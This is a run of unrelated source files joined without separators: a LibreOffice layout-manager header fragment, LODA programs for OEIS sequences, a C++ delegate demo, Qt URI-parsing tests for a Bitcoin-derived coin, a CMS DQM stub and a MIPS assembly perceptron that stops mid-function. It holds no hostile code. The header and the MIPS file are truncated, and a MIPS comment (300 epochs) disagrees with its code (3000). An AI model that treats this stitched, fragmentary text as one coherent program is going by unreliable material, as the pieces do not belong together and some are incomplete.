//--------------------------------------------------------------------------------------------------------- virtual void SAL_CALL addLayoutManagerEventListener( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XLayoutManagerListener >& aLayoutManagerListener ) throw (::com::sun::star::uno::RuntimeException); virtual void SAL_CALL removeLayoutManagerEventListener( const ::com::sun::star::uno::Reference< ::com::sun::star::frame::XLayoutManagerListener >& aLayoutManagerListener ) throw (::com::sun::star::uno::RuntimeException); DECL_LINK( MenuBarClose, MenuBar * ); DECL_LINK( WindowEventListener, VclSimpleEvent* ); //--------------------------------------------------------------------------------------------------------- // ILayoutNotifications //--------------------------------------------------------------------------------------------------------- virtual void requestLayout( Hint eHint ); protected: DECL_LINK( AsyncLayoutHdl, Timer * ); private: //--------------------------------------------------------------------------------------------------------- // helper //--------------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------------- // menu bar //--------------------------------------------------------------------------------------------------------- void impl_clearUpMenuBar(); void implts_reset( sal_Bool bAttach ); void implts_setMenuBarCloser(sal_Bool bCloserState); void implts_updateMenuBarClose(); sal_Bool implts_resetMenuBar(); //--------------------------------------------------------------------------------------------------------- // locking //--------------------------------------------------------------------------------------------------------- void implts_lock(); sal_Bool implts_unlock(); //--------------------------------------------------------------------------------------------------------- // query //--------------------------------------------------------------------------------------------------------- ::com::sun::star::uno::Reference< ::com::sun::star::ui::XUIElement > implts_findElement( const rtl::OUString& aName ); UIElement& impl_findElement( const rtl::OUString& aName ); void implts_writeNewStateData( const rtl::OUString aName, const ::com::sun::star::uno::Reference< com::sun::star::awt::XWindow >& xWindow ); sal_Bool implts_readWindowStateData( const rtl::OUString& rName, UIElement& rElementData ); void implts_writeWindowStateData( const rtl::OUString& rName, const UIElement& rElementData ); void implts_setElementData( UIElement& rUIElement, const ::com::sun::star::uno::Reference< ::com::sun::star::awt::XDockableWindow >& rDockWindow ); void implts_sortUIElements(); void implts_destroyElements(); void implts_toggleFloatingUIElementsVisibility( sal_Bool bActive ); void implts_reparentChildWindows(); ::com::sun::star::uno::Reference< ::com::sun::star::ui::XUIElement > implts_createDockingWindow( const ::rtl::OUString& aElementName ); sal_Bool implts_isEmbeddedLayoutManager() const; sal_Int16 implts_getCurrentSymbolsSize(); sal_Int16 implts_getCurrentSymbolsStyle(); ::com::sun::star::uno::Reference< ::com::sun::star::ui::XUIElement > implts_createElement( const rtl::OUString& aName ); // layouting methods sal_Bool implts_resizeContainerWindow( const ::com::sun::star::awt::Size& rContainerSize, const ::com::sun::star::awt::Point& rComponentPos ); ::Size implts_getTopBottomDockingAreaSizes(); ::Size implts_getContainerWindowOutputSize(); void implts_setDockingAreaWindowSizes( const css::awt::Rectangle& rBorderSpace ); ::com::sun::star::awt::Rectangle implts_calcDockingAreaSizes(); sal_Bool implts_doLayout( sal_Bool bForceRequestBorderSpace, sal_Bool bOuterResize ); void implts_doLayout_notify( sal_Bool bOuterResize ); // internal methods to control status/progress bar ::Size implts_getStatusBarSize(); void implts_destroyStatusBar(); void implts_createStatusBar( const rtl::OUString& rStatusBarName ); void implts_createProgressBar(); void implts_destroyProgressBar(); void implts_setStatusBarPosSize( const ::Point& rPos, const ::Size& rSize ); sal_Bool implts_showStatusBar( sal_Bool bStoreState=sal_False ); sal_Bool implts_hideStatusBar( sal_Bool bStoreState=sal_False ); void implts_readStatusBarState( const rtl::OUString& rStatusBarName ); sal_Bool implts_showProgressBar(); sal_Bool implts_hideProgressBar(); void implts_backupProgressBarWrapper(); void implts_setOffset( const sal_Int32 nBottomOffset ); void implts_setInplaceMenuBar( const ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexAccess >& xMergedMenuBar ) throw (::com::sun::star::uno::RuntimeException); void implts_resetInplaceMenuBar() throw (::com::sun::star::uno::RuntimeException); void implts_setVisibleState( sal_Bool bShow ); void implts_updateUIElementsVisibleState( sal_Bool bShow ); void implts_setCurrentUIVisibility( sal_Bool bShow ); void implts_notifyListeners( short nEvent, ::com::sun::star::uno::Any aInfoParam ); DECL_LINK( OptionsChanged, void* ); DECL_LINK( SettingsChanged, void* ); //--------------------------------------------------------------------------------------------------------- // OPropertySetHelper //--------------------------------------------------------------------------------------------------------- virtual sal_Bool SAL_CALL convertFastPropertyValue ( com::sun::star::uno::Any& aConvertedValue , com::sun::star::uno::Any& aOldValue , sal_Int32 nHandle , const com::sun::star::uno::Any& aValue ) throw( com::sun::star::lang::IllegalArgumentException ); virtual void SAL_CALL setFastPropertyValue_NoBroadcast( sal_Int32 nHandle , const com::sun::star::uno::Any& aValue ) throw( com::sun::star::uno::Exception ); using cppu::OPropertySetHelper::getFastPropertyValue; virtual void SAL_CALL getFastPropertyValue( com::sun::star::uno::Any& aValue , sal_Int32 nHandle ) const; virtual ::cppu::IPropertyArrayHelper& SAL_CALL getInfoHelper(); virtual ::com::sun::star::uno::Reference< com::sun::star::beans::XPropertySetInfo > SAL_CALL getPropertySetInfo() throw (::com::sun::star::uno::RuntimeException); css::uno::Reference< css::lang::XMultiServiceFactory > m_xSMGR; /** reference to factory, which has created this instance. */ css::uno::Reference< css::util::XURLTransformer > m_xURLTransformer; css::uno::Reference< css::container::XIndexAccess > m_xDisplayAccess; css::uno::Reference< css::frame::XFrame > m_xFrame; css::uno::Reference< ::com::sun::star::ui::XUIConfigurationManager > m_xModuleCfgMgr; css::uno::Reference< ::com::sun::star::ui::XUIConfigurationManager > m_xDocCfgMgr; css::uno::WeakReference< css::frame::XModel > m_xModel; css::uno::Reference< css::awt::XWindow > m_xContainerWindow; css::uno::Reference< css::awt::XTopWindow2 > m_xContainerTopWindow; sal_Int32 m_nLockCount; bool m_bActive; bool m_bInplaceMenuSet; bool m_bDockingInProgress; bool m_bMenuVisible; bool m_bComponentAttached; bool m_bDoLayout; bool m_bVisible; bool m_bParentWindowVisible; bool m_bMustDoLayout; bool m_bAutomaticToolbars; bool m_bStoreWindowState; bool m_bHideCurrentUI; bool m_bGlobalSettings; bool m_bPreserveContentSize; bool m_bMenuBarCloser; css::awt::Rectangle m_aDockingArea; css::uno::Reference< ::com::sun::star::ui::XDockingAreaAcceptor > m_xDockingAreaAcceptor; css::uno::Reference< ::com::sun::star::lang::XComponent > m_xInplaceMenuBar; MenuBarManager* m_pInplaceMenuBar; css::uno::Reference< ::com::sun::star::ui::XUIElement > m_xMenuBar; UIElement m_aStatusBarElement; UIElement m_aProgressBarElement; com::sun::star::uno::Reference< ::com::sun::star::ui::XUIElement > m_xProgressBarBackup; css::uno::Reference< ::com::sun::star::frame::XModuleManager > m_xModuleManager; css::uno::Reference< ::com::sun::star::ui::XUIElementFactory > m_xUIElementFactoryManager; css::uno::Reference< ::com::sun::star::container::XNameAccess > m_xPersistentWindowState; css::uno::Reference< ::com::sun::star::container::XNameAccess > m_xPersistentWindowStateSupplier; GlobalSettings* m_pGlobalSettings; rtl::OUString m_aModuleIdentifier; rtl::OUString m_aStatusBarAlias; rtl::OUString m_aProgressBarAlias; rtl::OUString m_aPropDocked; rtl::OUString m_aPropVisible; rtl::OUString m_aPropDockingArea; rtl::OUString m_aPropDockPos; rtl::OUString m_aPropPos; rtl::OUString m_aPropSize; rtl::OUString m_aPropUIName; rtl::OUString m_aPropStyle; rtl::OUString m_aPropLocked; rtl::OUString m_aCustomizeCmd; sal_Int16 m_eSymbolsSize; sal_Int16 m_eSymbolsStyle; Timer m_aAsyncLayoutTimer; ::cppu::OMultiTypeInterfaceContainerHelper m_aListenerContainer; // container for ALL Listener PanelManager* m_pPanelManager; ToolbarLayoutManager* m_pToolbarManager; css::uno::Reference< ::com::sun::star::ui::XUIConfigurationListener > m_xToolbarManager; }; } // namespace framework #endif // __FRAMEWORK_SERVICES_LAYOUTMANAGER_HXX_
.segment "CODE_03" .include "pulsar.h" .include "screen.asm"
; A099198: A bisection of A002807. ; 0,7,197,8018,556014,59740609,9174170011,1904975488436,513771331467372,174548332364311563,72920994844093191553,36737130036755448717350,21961934137099746053158010,15369599839081193169161637861 mul $0,2 add $0,1 lpb $0 mov $2,$0 mul $3,$0 sub $0,1 add $1,$3 add $3,$2 lpe mov $0,$1 div $0,2
#include <iostream> using namespace std; template <typename Ret, typename Param0> class Callback { public: virtual Ret invoke(Param0 param0) = 0; }; template <typename Ret, typename Param0> class StaticFunctionCallback : public Callback<Ret, Param0> { private: Ret (*func_)(Param0); public: StaticFunctionCallback(Ret (*func)(Param0)) : func_(func) {} virtual Ret invoke(Param0 param0) { return (*func_)(param0); } }; template <typename Ret, typename Param0, typename T, typename Method> class MethodCallback : public Callback<Ret, Param0> { private: void *object_; Method method_; public: MethodCallback(void *object, Method method) : object_(object), method_(method) {} virtual Ret invoke(Param0 param0) { T *obj = static_cast<T *>(object_); return (obj->*method_)(param0); } }; template <typename Ret, typename Param0> class Delegate { private: Callback<Ret, Param0> *callback_; public: Delegate(Ret (*func)(Param0)) : callback_(new StaticFunctionCallback<Ret, Param0>(func)) {} template <typename T, typename Method> Delegate(T *object, Method method) : callback_(new MethodCallback<Ret, Param0, T, Method>(object, method)) {} ~Delegate(void) {} Ret operator()(Param0 param0) { return callback_->invoke(param0); } }; class A { public: virtual int foo(int p) { std::cout << "A::foo(" << p << ")" << std::endl; return 0; } }; class B : public A { public: virtual int foo(int p) { std::cout << "B::foo(" << p << ")" << std::endl; return 0; } }; class C {}; class D : public C, public A { public: virtual int foo(int p) { std::cout << "D::foo(" << p << ")" << std::endl; return 0; } }; int foo(int x) { std::cout << "foo(" << x << ")" << std::endl; return 0; } int main(void) { A *a = new A(); A *b = new B(); A *d = new D(); // static function Delegate<int, int> d1(foo); // member function Delegate<int, int> d2(a, &A::foo); // member function + subclass instance Delegate<int, int> d3(b, &A::foo); // member function + subclass instance + multiple inheritance Delegate<int, int> d4(d, &A::foo); d1(100); //"foo(100)" d2(200); //"A::foo(200)" d3(300); //"B::foo(300)" d4(400); //"D::foo(400)" return 0; }
; A203777: Aliquot sequence starting at 220. ; 220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284,220,284 mod $0,2 mul $0,64 add $0,220
// Copyright (c) 2009-2014 The Bitcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "uritests.h" #include "guiutil.h" #include "walletmodel.h" #include <QUrl> void URITests::uriTests() { SendCoinsRecipient rv; QUrl uri; uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?req-dontexist=")); QVERIFY(!GUIUtil::parseBitcoinURI(uri, &rv)); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?dontexist=")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.label == QString()); QVERIFY(rv.amount == 0); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?label=Wikipedia Example Address")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.label == QString("Wikipedia Example Address")); QVERIFY(rv.amount == 0); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?amount=0.001")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.label == QString()); QVERIFY(rv.amount == 100000); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?amount=1.001")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.label == QString()); QVERIFY(rv.amount == 100100000); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?amount=100&label=Wikipedia Example")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.amount == 10000000000LL); QVERIFY(rv.label == QString("Wikipedia Example")); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?message=Wikipedia Example Address")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.label == QString()); QVERIFY(GUIUtil::parseBitcoinURI("infinitecoin://iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?message=Wikipedia Example Address", &rv)); QVERIFY(rv.address == QString("iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH")); QVERIFY(rv.label == QString()); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?req-message=Wikipedia Example Address")); QVERIFY(GUIUtil::parseBitcoinURI(uri, &rv)); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?amount=1,000&label=Wikipedia Example")); QVERIFY(!GUIUtil::parseBitcoinURI(uri, &rv)); uri.setUrl(QString("infinitecoin:iAQbpnpKn8MDdcDQMUdA3GheoH4NwEUWPH?amount=1,000.0&label=Wikipedia Example")); QVERIFY(!GUIUtil::parseBitcoinURI(uri, &rv)); }
; A131176: a(n) = (n^5-n-10)/10. ; -1,-1,2,23,101,311,776,1679,3275,5903,9998,16103,24881,37127,53780,75935,104855,141983,188954,247607,319997,408407,515360,643631,796259,976559,1188134,1434887,1721033,2051111,2429996,2862911,3355439,3913535,4543538,5252183,6046613,6934391 mov $2,$0 pow $0,5 sub $0,10 sub $0,$2 div $0,10
#include "DQMServices/Examples/interface/HarvestingDataCertification.h" HarvestingDataCertification::HarvestingDataCertification(const edm::ParameterSet& iPSet) { std::string MsgLoggerCat = "HarvestingDataCertification_HarvestingDataCertification"; fName = iPSet.getUntrackedParameter<std::string>("Name"); verbosity = iPSet.getUntrackedParameter<int>("Verbosity"); if (verbosity >= 0) { edm::LogInfo(MsgLoggerCat) << "\n===============================\n" << "Initialized as EDAnalyzer with parameter values:\n" << " Name = " << fName << "\n" << " Verbosity = " << verbosity << "\n" << "===============================\n"; } } HarvestingDataCertification::~HarvestingDataCertification() {} void HarvestingDataCertification::beginJob() { return; } void HarvestingDataCertification::endJob() { return; } void HarvestingDataCertification::beginRun(const edm::Run& iRun, const edm::EventSetup& iSetup) { return; } void HarvestingDataCertification::endRun(const edm::Run& iRun, const edm::EventSetup& iSetup) { return; } void HarvestingDataCertification::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup) { return; }
################################################################################################# # Disclaimer: # ################################################################################################# # Made by: Giovanni Sullutrone # # Date: 8 march 2020 # ################################################################################################# ################################################################################################# # .data # ################################################################################################# # lr: Learning rate of the training # # weights: starting weights (MUST BE OF THE SAME SIZE AS THE NUMBER OF INPUTS) # # training_x: training inputs # # training_y: training outputs # # text_x: test_inputs # ################################################################################################# .data weights: .float 0.2, 0.4 lr: .float 0.05 training_x: .float 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 1.0, 1.0 training_y: .float 0.0, 0.0, 0.0, 1.0 test_x: .float 1.0, 1.0 test_x_1: .float 0.0, 1.0 prediction: .asciiz "Prediction:" nl: .asciiz "\n" .text ################################################################################################# # functions # ################################################################################################# # create_model: ($a0) # # train: ($a0, $a1, $a2, $a4) # # predict: ($a0) # ################################################################################################# main: #Create a model with (2) inputs addi $a0, $zero, 2 jal create_model #Predict without training la $a0, test_x jal predict la $a0, test_x_1 jal predict #Train the model on training_x and training_y with 300 epochs and 4 samples given la $a0, training_x la $a1, training_y addi $a2, $zero, 3000 addi $a3, $zero, 4 jal train #Predict with training la $a0, test_x jal predict la $a0, test_x_1 jal predict li $v0, 10 syscall ################################################################################################# # create_model # ################################################################################################# # Sssign constants, allocate Heap memory needed for the model and generate taylor coefficients # # # # Parameters: # # $a0: number of inputs # # Returns: # # # ################################################################################################# create_model: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) addi $a1, $a0, 0 #Hardwire the output to 1 neuron addi $a0, $zero, 1 jal assign_constants jal alloc_heap_memory jal alloc_weights jal alloc_bias addi $a0, $s0, 0 addi $a1, $s2, 0 jal generate_taylor_coeffs #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # predict # ################################################################################################# # Predict the output from the given array of inputs # # # # Parameters: # # $a0: Address of input array # # # # Returns: # # $f0: prediction # ################################################################################################# predict: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) ########################### #Store (dot product of the set of inputs with the weights) + bias inside out #we pass as size, the size of the input addi $t0, $a0, 0 jal get_address_of_weights addi $a0, $t0, 0 addi $a1, $v0, 0 addi $a2, $s5, 0 jal dot_1D.s #Add the bias to $f0 jal get_address_of_bias l.s $f15, 0($v0) add.s $f0, $f0, $f15 #Store the result placed in $f0 inside the output jal get_address_of_out s.s $f0, 0($v0) #Calculate sigmoid of the output and store it in place jal get_address_of_out addi $a0, $v0, 0 addi $a1, $v0, 0 addi $a2, $s3, 0 jal sigmoid_array.s #Print "prediction:" li $v0, 4 la $a0, prediction syscall #Print the output jal get_address_of_out l.s $f0, 0($v0) li $v0, 2 add.s $f12, $f0, $f29 syscall #New line li $v0, 4 la $a0, nl syscall ########################### #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # train # ################################################################################################# # Train the network on the inputs and outputs given # # # # Parameters: # # $a0: Address of inputs # # $a1: Address of outputs # # $a2: epochs # # $a3: samples # # # # Returns: # # # ################################################################################################# train: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $t7 addi $sp, $sp, -4 sw $t7, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f20 addi $sp, $sp, -4 s.s $f20, 0($sp) ########################### #Store the number of epochs addi $t0, $a2, 0 #Store the number of samples addi $t1, $a3, 0 #Store the number of samples as float mtc1 $t1, $f20 cvt.s.w $f20, $f20 #Create counter_epochs addi $t2, $zero, 0 #Create counter_loop addi $t3, $zero, 0 #Create counter_array_x addi $t4, $zero, 0 #Create counter_array_y addi $t5, $zero, 0 #Store address of training_x addi $t6, $a0, 0 #Store address of training_y addi $t7, $a1, 0 #Set Epoch_MSE to zero add.s $f16, $f29, $f29 epochs_loop: #Print the epoch_error and reset it li $v0, 4 la $a0, epoch syscall li $v0, 1 addi $a0, $t2, 0 syscall li $v0, 4 la $a0, nl syscall li $v0, 2 div.s $f12, $f16, $f20 syscall li $v0, 4 la $a0, nl syscall add.s $f16, $f29, $f29 #If did all the required epochs beq $t0, $t2, epochs_loop_end #Else: #Reset counter_loop addi $t3, $zero, 0 steps_loop: #If n of samples == counter_loop beq $t1, $t3, steps_loop_end #Else: #Get current position in the training_x array .data #Mul by number of inputs * 4 since we need to move (counter_loop * number_of_inputs) * 4 bytes addi $t4, $t3, 0 mul $t4, $t4, $s5 sll $t4, $t4, 2 add $t4, $t4, $t6 #Get current position in the training_y array .data #Mul by 4 since we need to move (4) bytes addi $t5, $t3, 0 sll $t5, $t5, 2 add $t5, $t5, $t7 #Store (dot product of the set of inputs with the weights) + bias inside out #we pass as size, the size of the input addi $a0, $t4, 0 jal get_address_of_weights addi $a1, $v0, 0 addi $a2, $s5, 0 jal dot_1D.s #Add the bias to $f0 jal get_address_of_bias l.s $f15, 0($v0) add.s $f0, $f0, $f15 #Store the result placed in $f0 inside the output jal get_address_of_out s.s $f0, 0($v0) #Calculate sigmoid of the output and store it in place jal get_address_of_out addi $a0, $v0, 0 addi $a1, $v0, 0 addi $a2, $s3, 0 jal sigmoid_array.s #Calculate the MSE error between the training_y and the out addi $a1, $t5, 0 jal get_address_of_out addi $a0, $v0, 0 addi $a2, $s3, 0 jal mse_1D.s #Store the result placed in $f0 inside the error jal get_address_of_error s.s $f0, 0($v0) #Add this step's error to the epoch_error add.s $f16, $f16, $f0 #Get (output - training_y) jal get_address_of_out addi $a0, $v0, 0 addi $a1, $t5, 0 jal get_address_of_error addi $a2, $v0, 0 addi $a3, $s3, 0 jal sub_1D.s #Get der of output and store it in place jal get_address_of_out addi $a0, $v0, 0 addi $a1, $v0, 0 addi $a2, $s3, 0 jal sigmoid_der_array_on_sigmoid_array.s #Mul the der with the error and store it in the output jal get_address_of_error l.s $f1, 0($v0) jal get_address_of_out addi $a0, $v0, 0 addi $a2, $v0, 0 addi $a3, $s3, 0 jal mul_const_1D.s #Mul the training_x with the output_delta and place it in the delta_weights jal get_address_of_out l.s $f1, 0($v0) addi $a0, $t4, 0 jal get_address_of_delta_weights addi $a2, $v0, 0 addi $a3, $s5, 0 jal mul_const_1D.s #Mul the delta_weights by the lr and place them in place jal get_address_of_delta_weights addi $a0, $v0, 0 add.s $f1, $f27, $f29 addi $a2, $v0, 0 addi $a3, $s5, 0 jal mul_const_1D.s #Sub element-wise the delta_weights from the weights and store them in weights jal get_address_of_weights addi $a0, $v0, 0 jal get_address_of_weights addi $a2, $v0, 0 jal get_address_of_delta_weights addi $a1, $v0, 0 addi $a3, $s5, 0 jal sub_1D.s #Mul the delta_output with the lr jal get_address_of_out l.s $f15, 0($v0) mul.s $f15, $f15, $f27 jal get_address_of_bias addi $a0, $v0, 0 add.s $f1, $f15, $f29 addi $a2, $v0, 0 addi $a3, $zero, 1 jal sub_const_1D.s addi $t3, $t3, 1 j steps_loop steps_loop_end: addi $t2, $t2, 1 j epochs_loop epochs_loop_end: #TODO: test a sample li $v0, 4 la $a0, epoch_end syscall #Print weights jal get_address_of_weights addi $a0, $v0, 0 addi $a1, $s5, 0 jal print_array.s #Print bias jal get_address_of_bias addi $a0, $v0, 0 addi $a1, $zero, 1 jal print_array.s ########################### #Restore the previous $f20 l.s $f20, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t7 lw $t7, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# ################################################################################################# # precision: number of factors in taylor's approximation # ################################################################################################# .data precision: .word 5 one: .word 1 neg_one: .word -1 neg_one.s: .float -1.0 zero.s: .float 0.0 one.s: .float 1.0 e.s: .float 2.71828182846 bias: .float 1.0 loop: .asciiz "loop\n" epoch: .asciiz "Epoch:" MSE: .asciiz "MSE:" epoch_end: .asciiz "Finished!\n" .text ################################################################################################# # Heap Map # ################################################################################################# # 4 * precision - bytes for coefficients of taylor series # # 4 * size of in - bytes for weights # # 4 * size of in - bytes for delta of weights # # 4 * 1 - bytes for bias # # 4 * size of out - bytes for output # # 1 * 4 - bytes for error # ################################################################################################# ################################################################################################# # s registers map # ################################################################################################# # $s0 => Heap pointer # # $s1 => int one # # $s2 => precision const # # $s3 => size of out # # $s4 => int neg one # # $s5 => size of in # ################################################################################################# ################################################################################################# # f registers map # ################################################################################################# # $f0 => results # # $f1 => first paramater # # $f2 => second parameter # # $f27 => lr # # $f28 => -one # # $f29 => zero # # $f30 => one # # $f31 => e # # $f14 to $f25 => temp values # ################################################################################################# #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# ################################################################################################# # assign_constants # ################################################################################################# # Store in registers the previously defined constants as specified in s/f registers map # # # # Parameters: # # $a0: number of inputs # # $a1: number of outputs # # Returns: # # # ################################################################################################# assign_constants: #s registers lw $s1, one lw $s2, precision addi $s3, $a0, 0 lw $s4, neg_one addi $s5, $a1, 0 #f registers l.s $f27, lr l.s $f28, neg_one.s l.s $f29, zero.s l.s $f30, one.s l.s $f31, e.s jr $ra ################################################################################################# # alloc_heap_memory # ################################################################################################# # Allocate in Heap taylor coefficients and array to compute as specified in Heap Map # # # # Parameters: # # # # Returns: # # # ################################################################################################# alloc_heap_memory: #Get precision + size_of_in(weights) + size_of_in(delta of weights) + 1(bias) + size_of_out + 1(error) add $t0, $s2, $s5 add $t0, $t0, $s5 add $t0, $t0, $s3 addi $t0, $t0, 2 #Allocate $t0 * 4 bytes sll $t0, $t0, 2 addi $s0, $gp, 0 add $gp, $gp, $t0 jr $ra ################################################################################################# # get_address_of_weights # ################################################################################################# # Get address of the weights array as specified in the Heap Map # # # # Parameters: # # # # Returns: # # $v0: the address of the first array # ################################################################################################# get_address_of_weights: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #Load the allocated heap starting position in $v0 addi $v0, $s0, 0 #Get offset caused by taylor coeffs addi $t0, $s2, 0 sll $t0, $t0, 2 #Add offset to base address add $v0, $v0, $t0 ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # get_address_of_delta_weights # ################################################################################################# # Get address of the delta weights array to compute as specified in the Heap Map # # # # Parameters: # # # # Returns: # # $v0: the address of the second array # ################################################################################################# get_address_of_delta_weights: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #Get address of first array jal get_address_of_weights #Calculate offset caused by the weights size addi $t0, $s5, 0 sll $t0, $t0, 2 #Add the offset add $v0, $v0, $t0 ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # get_address_of_bias # ################################################################################################# # Get address of the bias array to compute as specified in the Heap Map # # # # Parameters: # # # # Returns: # # $v0: the address of the second array # ################################################################################################# get_address_of_bias: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #Get address of first array jal get_address_of_delta_weights #Calculate offset caused by the delta weights size addi $t0, $s5, 0 sll $t0, $t0, 2 #Add the offset add $v0, $v0, $t0 ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # get_address_of_out # ################################################################################################# # Get address of the out array to compute as specified in the Heap Map # # # # Parameters: # # # # Returns: # # $v0: the address of the second array # ################################################################################################# get_address_of_out: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #Get address of first array jal get_address_of_bias #Calculate offset caused by the bias size addi $t0, $zero, 1 sll $t0, $t0, 2 #Add the offset add $v0, $v0, $t0 ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # get_address_of_error # ################################################################################################# # Get address of the error array to compute as specified in the Heap Map # # # # Parameters: # # # # Returns: # # $v0: the address of the second array # ################################################################################################# get_address_of_error: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #Get address of first array jal get_address_of_out #Calculate offset caused by the out size addi $t0, $s3, 0 sll $t0, $t0, 2 #Add the offset add $v0, $v0, $t0 ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # alloc_weights # ################################################################################################# # Allocate in the Heap the weights from the .data as specified in the Heap Map # # # # Parameters: # # # # Returns: # # # ################################################################################################# alloc_weights: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) #Save size_of_array in $t0 